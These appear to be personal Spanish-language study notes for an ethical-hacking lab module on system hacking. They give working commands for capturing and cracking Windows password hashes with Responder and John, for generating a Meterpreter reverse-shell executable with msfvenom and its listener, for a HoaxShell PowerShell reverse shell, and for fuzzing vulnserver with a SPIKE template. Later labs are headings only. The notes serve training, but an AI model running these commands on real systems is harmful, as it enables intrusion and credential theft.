Lab Module 06: Sytem hacking

Task 1: Perform Active Online Attack to Crack the System's Password using Responder

1. `sudo responder -I eth0` → capturar hash máquina W11 en txt → hash.txt
2. `john hash.txt` → desencripta la contraseña del hash

Task 2: Gain Access to a Remote System using Reverse Shell Generator

cmd

- `docker run -d -p 80:80 reverse_shell_generator`
- http://localhost
    - IP, Port, MSFVenom → genera instrucción: `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.1.13 LPORT=4444 -f exe -o reverse.exe`
    - se genera un EXE - payload (que hemos de conseguir que ejecute la víctima)
    - generamos la instrucción para escuchar el payload, en la sección LISTENER, modo **msfconsole**
        - `msfconsole -q -x «use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 10.10.1.13; set lport 4444; exploit»`
    - ejecutamos el listener, ejecutamos el payload
        - `getuid`

powershell

- http://localhost
    - HoaxShell → PowerShell IEX → cambiar puerto en el script generado por 444
    - copiar y guardar en shell.ps1
    - ir a la sección **listener** y generar para HoaxShell (puerto 444)
    - ejecutar instrucción generada con sudo: `sudo python…`
    - ejecutamos en un powershell subido a Administrador el script .ps1

Task 3: Perform Buffer Overflow Attack to Gain Access to a Remote System

- ejecutar como administrador `vulnserver` (buffer overflow tools)
- instalar **ImmunityDebugger_1_85_setup.exe** (y Python 2.7)
- ejecutar como administrador
    - File → Attach → vulnserver ← pausado
    - Icono PLAY
- en Linux, ejecutamos `nc -nv 10.10.1.11 9999`
    - HELP nos lista los comandos disponibles
    - QUIT para salir
    - creamos un «spike template» → `pluma stats.spk`:

```
s_readline();

s_string("STATS ");
```

```
s_string_variable("0");
```

- generic_send_tcp 10.10.1.11 9999 stats.spk 0 0
  - los dos últimos ceros son SKIPVAR y SKIPSTR
- ejecuta y podemos ver en ImmunityDebugger que la opción STAT no es vulnerable
- Se hace lo mismo cambiando **STAT** por **TRUN**
- PENDIENTE

Lab 2 Module 06 : Perform Privilege Escalation to Gain Higher Privileges

Task 1: Escalate Privileges by Bypassing UAC and Exploiting Sticky Keys

- PENDIENTE

Lab 3 Module 06 : Maintain Remote Access and Hide Malicious Activities

Task 1: User System Monitoring and Surveillance using Spyrix

Task 2: Maintain Persistence by Modifying Registry Run Keys

Lab 4 Module 06: Clear Logs to Hide the Evidence of Compromise

Task 1: Clear Windows Machine Logs using Various Utilities

Task 2: Clear Linux Machine Logs using the BASH Shell

Lab 5 Module 06: Perform Active Directory (AD) Attacks Using Various Tools

Task 1: Perform Initial Scans to Obtain Domain Controller IP and Domain Name

Task 2: Perform AS-REP Roasting Attack

Task 3: Spray Cracked Password into Network using CrackMapExec.

Task 4: Perform Post-Enumeration using PowerView

Task 5: Perform Attack on MSSQL service

Task 6: Perform Privilege Escalation

Task 7: Perform Kerberoasting Attack

Lab 6 Module 06: Perform System Hacking using AI

Task 1: Perform System Hacking using ShellGPT